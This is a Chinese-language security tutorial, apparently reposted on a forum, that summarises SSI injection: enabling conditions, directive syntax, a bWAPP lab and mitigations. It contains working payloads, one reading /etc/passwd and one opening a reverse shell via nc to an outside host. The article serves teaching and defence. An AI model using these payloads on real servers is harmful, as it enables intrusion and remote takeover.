"/>
·设为首页收藏本站📧邮箱修改🎁免费下载专区💎积分✅卡密📒收藏夹👽聊天室
DZ插件网 门户 网站安全 查看内容

SSI注入漏洞总结

2022-2-27 11:34| 发布者: admin| 查看: 573| 评论: 0|原作者: 余生安全团队

摘要: 申明:该文章仅供安全学习和技术分享,请勿将该文章和文章中提到的技术用于违法活动上,切勿在非授权状态下对其他站点进行测试...

申明:该文章仅供安全学习和技术分享,请勿将该文章和文章中提到的技术用于违法活动上,切勿在非授权状态下对其他站点进行测试,如产生任何后果皆由读者本人承担!

如有侵权,请联系后台进行删除。转载请注明出处,感谢

SSI 注入漏洞总结

SSI 注入全称 Server-Side Includes Injection,中文意思就是服务端包含注入。从技术层面上来说,SSI 是在 HTML 文件中,可以通过注释行调用的命令或指针。在很多的场景中,当用户输入的内容可以显示在当前页面中,比如存在反射型 XSS 漏洞的页面,如果用户的输入的 payload 不是 XSS 代码而是 SSI 的标签,并且服务器又开启了SSI 支持的话,那么网站就存在 SSI 注入漏洞。

2.1 如何开启 SSI

例如:Nginx 配置 SSI 在 http 段中加入下面几句即可:

ssi on;
ssi_silent_errors off;
ssi_types text/shtml;

默认 Apache 是不开启 SSI 的,因为 SSI 这种技术已经很少用了。如果应用并没有使用到 SSI,那么关闭服务器对 SSI 的支持即可。

2.2 漏洞存在条件

  1. Web 服务器已经支持 SSI。(如:.stm,.shtm,.shtml 文件后缀名表明网页文件是支持 SSI 指令的)
  2. Web 应用程序在返回 HTML 页面时,嵌入了用户的输入。
  3. Web 应用程序未对 SSI 关键字做过滤。

3.1 显示服务器端环境变量 <#echo>

本文档名称:
<!–#echo var="DOCUMENT_NAME"–>

现在时间:
<!–#echo var="DATE_LOCAL"–>

显示 IP 地址:
<! #echo var="REMOTE_ADDR"–>

3.2 将文本内容直接插入到文档中 <#include>

<! #include file="文件名称"–>

<!--#include virtual="index.html" -->

<! #include virtual="文件名称"–>

<!--#include virtual="/www/footer.html" -->

注:file 包含文件可以在同一级目录或其子目录中,但不能在上一级目录中,virtual 包含文件可以是Web站点上的虚拟目录的完整路径。附上在一次 ctf 题目中使用到的 SSI 指令 <!--%23include virtual="flag" -->

3.3 显示 Web 文档相关信息 <#flastmod><#fsize>(如文件制作日期/大小等)

文件最近更新日期:
<! #flastmod file="文件名称"–>

文件的长度:
<!–#fsize file="文件名称"–>

3.4 直接执行服务器上的各种程序 <#exec>(如 CGI 或其他可执行程序)

<!–#exec cmd="文件名称"–>

<!--#exec cmd="cat /etc/passwd"-->

<!–#exec cgi="文件名称"–>

<!--#exec cgi="/cgi-bin/access_log.cgi"–>

将某一外部程序的输出插入到页面中。可插入 CGI 程序或者是常规应用程序的输入,这取决于使用的参数是 CMD 还是 CGI。

3.5 设置 SSI 信息显示格式 <#config>(如文件制作日期/大小显示方式)

设置默认错误信息:errmsg
<!--#config errmsg="Error,please contact webmaster@mail.com"-->

定义日期和时间格式:timefmt
<!--#config timefmt="%A, %B %d, %Y"-->

定义文件大小单位
<!--#config sizefmt="bytes"-->

config 命令只对其后使用的命令生效。同时,后定义的设置具有更高的优先级,会覆盖之前的设置。

3.6 高级 SSI 可设置变量使用 if 条件语句

<!--#if expr="test_condition" -->
<!--#elif expr="test_condition" -->
<!--#else -->
<!--#endif -->

示例如下:

<!--#if expr="$DOCUMENT_NAME=index.shtml"-->
<p>这是通过 if 判断当前文档名为 "index.shtml" 后显示</p>

<!--#elif expr="$DOCUMENT_NAME=index.html"-->
<p>这是通过 if 判断当前文档名为 "index.html" 后显示</p>

<!--#else -->
<p>既不是 "index.shtml",也不是 "index.html"</p>
<!--#endif -->

4.1 bWAPP 中的SSI

bWAPP选择:「'Server-Side Includes (SSI) Injection'」

输入 <!--#echo var="DATE_LOCAL"-->

可以看到成功的解析执行了。medium 难度下 " 被转义加上反斜杠,但是在这里可以使用 ` 来代替 ' 执行,一样能够触发。

4.2 大佬挖到 SRC 中的 SSI

"-->'-->`--><<!--#exec cmd="cat /etc/passwd"-->
"-->'-->`--><<!--#exec cmd="nc x.x.x.x 9090 -e /bin/bash"-->

反弹 shell

  • 关闭服务器 SSI 功能
  • 过滤相关 SSI 特殊字符 (<,>,#,-,",')
  1. 服务器端包含、嵌入技术 SSI(Server SideInc lude) 详解:https://www.cnblogs.com/btar/p/15732177.html
  2. SSI 注入:https://cloud.tencent.com/developer/article/1636068



上一篇:0x06Android安全策略
下一篇:CVE-2019-5786漏洞原理分析及利用

鲜花

握手

雷人

路过

鸡蛋

评论

您需要登录后才可以发表言论 登录立即注册
创宇盾启航版免费网站防御网站加速服务
投诉/建议联系

discuzaddons@vip.qq.com

未经授权禁止转载,复制和建立镜像,
如有违反,按照公告处理!!!
  • 联系QQ客服
  • 添加微信客服

联系DZ插件网微信客服|最近更新|Archiver|手机版|小黑屋|DZ插件网! ( 鄂ICP备20010621号-1 )|网站地图 知道创宇云防御

您的IP:3.144.29.213,GMT+8, 2024-11-23 17:09 , Processed in 0.180926 second(s), 49 queries , Gzip On, Redis On.

Powered by Discuz! X5.0 Licensed

© 2001-2024 Discuz! Team.

关灯
扫一扫添加微信客服
QQ客服返回顶部
返回顶部